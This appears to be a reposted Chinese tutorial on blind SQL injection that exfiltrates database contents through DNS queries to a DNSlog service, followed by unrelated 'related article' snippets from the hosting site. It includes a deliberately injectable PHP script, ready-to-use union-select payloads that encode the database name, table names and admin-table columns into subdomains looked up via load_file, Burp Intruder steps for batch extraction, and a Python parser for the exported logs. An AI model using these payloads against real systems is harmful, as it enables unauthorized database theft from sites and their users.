json里面的list数据取不出来_sql盲注的困局:利用DNSlog快速导出数据

340f87f4fab44b9af8ea85893f48ba49.png

对于一个sql注入点来说最幸运的就是支持堆叠注入,最蛋疼的就是盲注,盲注里面难搞的就是基于时间的盲注。

我们在本地利用这段代码进行演示

<?php
error_reporting(0);
$link = mysqli_connect('localhost','root','root');
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'test');
$id = $_GET['id'];
$sql = "select * from test.order where id=$id";
$res = mysqli_query($link,$sql);

把链接丢到sqlmap里面,可以看到sqlmap成功检测出了时间盲注

d4cb4f329ab2e6dc16e3354b5233d2d5.png

在局域网网络环境延迟很低,并且没有任何安全软件的前提下

f25852f2af1df18bdb70d18f99037332.png

sqlmap猜解表明的速度依然非常慢,接下来我们尝试用dns log的方式来获取数据。

dns猜解数据需要执行

show variables like '%secure%';

72dbe0c4d8a5cde8541db0d0361890e8.png

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

如果secure_file_priv不为空,可以通过设置my.ini来配置。加入secure_file_priv="",然后重启mysql即可。

还需要一个dnslog的平台,我一般用 http://ceye.io/

平台会分配一个子域名

e785d09b6b3fadc6c43370dd95870758.png

ping一下这个域名

5916f3ec0ac678abd08b98dc8d1544e5.png

然后即可看到刚才ping的记录

ffee596cd197a15ffec450fb7d239803.png

然后我们测试一下注入点是否支持dns外带数据。

通过

http://127.0.0.1/test.php?id=1 union select 1,2,3,4 and sleep(10)

猜解到字段数为4,然后测试是否支持dns外带数据

http://127.0.0.1/test.php?id=1 union select 1,load_file('t1.xxxx.ceye.ioabc'),3,4

可以看到t1的被带了出来

5ea922e4c8c65195e1d9b87af0e908a9.png

下面进行数据拆解

查数据库名

http://127.0.0.1/test.php?id=1 union select 6,load_file(concat('',(select database()),'.xxx.ceye.ioabc')),3,8

数据库名为test

93b4a7000c4a3acfae4e74446b250eb8.png

然后拆解第一个表名

http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,4

第一个表名为admin

61afbd466084d89b4fe2419996000201.png

然后我们通过burp来进行批量拆解,先查表的数量

http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select count(table_name) from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxx.ceye.ioabc')),3,4

一共有四张表

48c1563a283f477ab183865a45f12d64.png

然后批量获取表名

127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,

发送URL到burp的测试器

limit 0,1 后面的0设置为变量

d01c6bf72a2622d93b21e56e602e5322.png

payload选择

7ebfc5dab2015238642d4a8b03ce92c6.png

线程设置为 1

8d9a5966885155fd4038824121ea56f0.png

然后开始攻击

完成以后

de3a631287a8994c9a31df71225c716c.png

可以在平台上查到获取到的表名

df4830fa3da3e9ec78c0cfeb8551ac24.png

平台提供文件导出为json文件的功能

1ab09dd2428a7508cbf9115a675d407e.png

下载到本地,放到脚本目录

#python3
import json#自己平台的地址
url = '.xxx.ceye.io'f = open('./data.json')
json_data = f.read()
f.close()data = json.loads(json_data)data_list = []for i in data:data_list.append(i['name'].replace(url,''))data_list = list(set(data_list))
for i in data_list:print(i)

可以去重以后打印出刚才获取的数据

d458dfa7581352ba7087e47382f2deed.png

清理历史记录

311ef06808603ed56fc867bfa357441c.png

再通过burp获取admin表的字段

http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1),'.xxxx.ceye.ioabc')),3,4

获取数据

select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/566966.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python怎么测试程序_python如何测试程序

测试函数是用于自动化测试&#xff0c;使用python模块中的unittest中的工具来测试 附上书中摘抄来的代码&#xff1a;#codingutf-8 import unittest from name_function import get_formatted_name class NamesTestCase(unittest.TestCase): def test_first_last_name(self): f…

判定覆盖白盒测试java_白盒测试系列(四)条件判定覆盖

条件判定覆盖一、定义&#xff1a;程序中每个判定至少有一次为真值&#xff0c;有一次为假值,使得程序中每个分支至少执行一次&#xff0c;且使得各判定中的每个条件获得各种可能的取值至少满足一次。二、特点&#xff1a;1、综合了条件覆盖和判定覆盖的特点2、满足条件判定覆盖…

discard python_Netty入门教程(一) 实现DISCARD服务

官方那个给出的介绍是&#xff1a;Netty是由JBOSS提供的一个java开源框架。Netty提供异步的、事件驱动的网络应用程序框架和工具&#xff0c;用以快速开发高性能、高可靠性的网络服务器和客户端程序。然后我们简单理解一下&#xff0c;这玩意就是个程序&#xff0c;干什么的&am…

python向量化编程技巧_神经网络基础之Python与向量化

Vectorization 深度学习算法中&#xff0c;数据量很大&#xff0c;在程序中尽量减少使用loop循环语句&#xff0c;而可以使用向量运算来提高程序运行速度。 向量化(Vectorization)就是利用矩阵运算的思想&#xff0c;大大提高运算速度。例如下面所示在Python中使用向量化要比使…

SQL server 数据库面试题及答案(实操2)

使用你的名字创建一个数据库 创建表&#xff1a; 数据库中有三张表&#xff0c;分别为student,course,SC&#xff08;即学生表&#xff0c;课程表&#xff0c;选课表&#xff09; 问题&#xff1a; --1.分别查询学生表和学生修课表中的全部数据。--2.查询成绩在70到80分之间…

python电子相册制作软件_电子相册怎么做

电子相册制作 本文来自#千兆网络有什么用#征稿活动&#xff0c;不断提速的网络给你的生活带来了什么变化&#xff1f;快来参与活动&#xff0c;聊聊你玩转互联网&#xff0c;高速网上冲浪的经历&#xff01;>点击这里查看活动详情< 现在手机的拍照功能日趋强大&#xff0…

java list 范围删除_JAVA中循环删除list中元素(移除list两时间范围外的元素)

印象中循环删除list中的元素使用for循环的方式是有问题的&#xff0c;但是可以使用增强的for循环&#xff0c;然后今天在使用时发现报错了&#xff0c;然后去科普了一下&#xff0c;再然后发现这是一个误区。下面就来讲一讲。。伸手党可直接跳至文末。看总结。。JAVA中循环遍历…

python reduce函数_Python reduce()函数的用法小结

reduce()函数也是Python内置的一个高阶函数。 reduce() 格式&#xff1a; reduce (func, seq[, init()]) reduce()函数即为化简函数&#xff0c;它的执行过程为&#xff1a;每一次迭代&#xff0c;都将上一次的迭代结果&#xff08;注&#xff1a;第一次为init元素&#xff0c;…

Php获取id并提交表单,提交表单后 PHP获取提交内容的实现方法

提交表单后 PHP获取提交内容的实现方法2020-06-14 15:35:24问题&#xff1a;网页上提交表单之后&#xff0c;PHP为什么不能获取提交的内容&#xff1f;然而在老版本的PHP上运行却正常。新版的PHP已经废弃了原来的表单内容处理方式&#xff0c;即不再把提交的表单的内容直接复制…

idea查看一个类的所有子类_java new一个对象的过程中发生了什么

java在new一个对象的时候&#xff0c;会先查看对象所属的类有没有被加载到内存&#xff0c;如果没有的话&#xff0c;就会先通过类的全限定名来加载。加载并初始化类完成后&#xff0c;再进行对象的创建工作。我们先假设是第一次使用该类&#xff0c;这样的话new一个对象就可以…

stringbuilder删除最后一个字符_Java类-StingBuffer,StringBuilder

Java提供了String,StringBuffr,StringBuilder类来封装字符串,并提供了一系列操作字符串对象的方法.他们的相同点都是封装字符串;都实现了CharSeqence接口.public final class StringBuffer extends AbstractStringBuilder implements java.io.Serializable,CharSequncepublic f…

docker 删除所有镜像_Docker常用命令

&#xfeff;docker 常用命令#查看 Docker 版本 docker version #从 Docker 文件构建 Docker 镜像 docker build -t image-name docker-file-location#运行 Docker 镜像 docker run -d image-name#查看可用的 Docker 镜像 docker images#查看最近的运行容器 docker ps -l#查看所…

php制作学生卡片,PHP基础案例一:展示学生资料卡

一、需求分析&#xff1a;请利用PHP的变量保存学生的姓名、出生日期、所属学科以及学号&#xff0c;最后将该学生的信息输出到网页中显示。其中&#xff0c;在定义学生的出生日期和学号时候&#xff0c;必须满足以下两个条件。1、出生日期为公历&#xff0c;填写格式为YYYY-MM-…

element label动态赋值_基于Element封装可拖动放大缩小的弹窗

ElementUI 自带的对话框组件(el-dialog)没有拖动和最小化的处理&#xff0c;目前业务遇到呼叫弹屏处理&#xff0c;基于el-dialog 再次进行封装下&#xff0c;上篇文章有人说图片换成代码就好了&#xff0c;下面代码部分我就直接放代码了&#xff0c;不再用图片处理了。先看看效…

eeg数据集_运动想象,情绪识别等公开数据集汇总

本文来自脑机接口社区运动影像数据Left/Right Hand MI: http://gigadb.org/dataset/100295Motor Movement/Imagery Dataset: https://www.physionet.org/physiobank/database/eegmmidb/Grasp and Lift EEG Challenge: https://www.kaggle.com/c/grasp-and-lift-eeg-detection/d…

excel批量删除公式保留数据_Excel实用tips(17) – 批量删除隐藏的工作表

大家可能遇到过这种情况&#xff1a;一个几经易手的远古 Excel 表&#xff0c;文件巨大无比&#xff0c;运行极慢&#xff0c;删除数据和公式也无济于事。反复查找原因&#xff0c;才发现表格中有好几十个隐藏的 worksheet&#xff0c;这些 worksheet 大多都是一些草稿表&#…

docker 修改阿里镜像源_使用阿里云容器镜像服务托管私有Docker镜像

一个只用markdown语法编写文章的90后野路子Web架构师&#xff0c;每天都分享一些有用的知识点&#xff0c;欢迎关注&#xff5e;前言概述本文主要讲解如何托管自己的Docker镜像到阿里云容器镜像服务ACR上&#xff0c;以及如何使用镜像加速器来提升获取Docker官方镜像的速度。名…

java 把图片插入窗体,JAVA JFrame窗体添加背景图像的两种方法

首先还是要了解框架JFrame中的层次结构。JFrame中的层次分布及相对关系是:最底层是&#xff1a;JRootPane&#xff1b;第二层是&#xff1a;JlayerPane&#xff1b;最上层就是ContentPane,也正是我们常说的内容面板。所以一般我们拖放的控件就是在ContentPane层上。有了这些常识…

图像识别开源代码_灰度图像着色开源代码

Victory组近期整理了灰度图像着色开源代码&#xff0c;文章刊登于《中国计算机学会计算机视觉专委会简报》2019年第2期上。灰度图像(gray image)是每个像素只有一个采样颜色的图像&#xff0c;即单通道图像&#xff0c;这类图像通常显示为从最暗黑色到最亮的白色的灰度&#xf…

【adb】电脑通过ADB向手机传输文件

具体步骤如下&#xff1a; Step1 下载ADB工具 下载最新版本的 ADB工具 !!! 注意&#xff1a;一定要是最新版本的ADB&#xff0c;否则很可能导致无法识别到手机。 将下载的ADB解压以后的文件如下图所示&#xff1a; Step2 添加环境变量 将 ADB的路径 D:\platformtools &…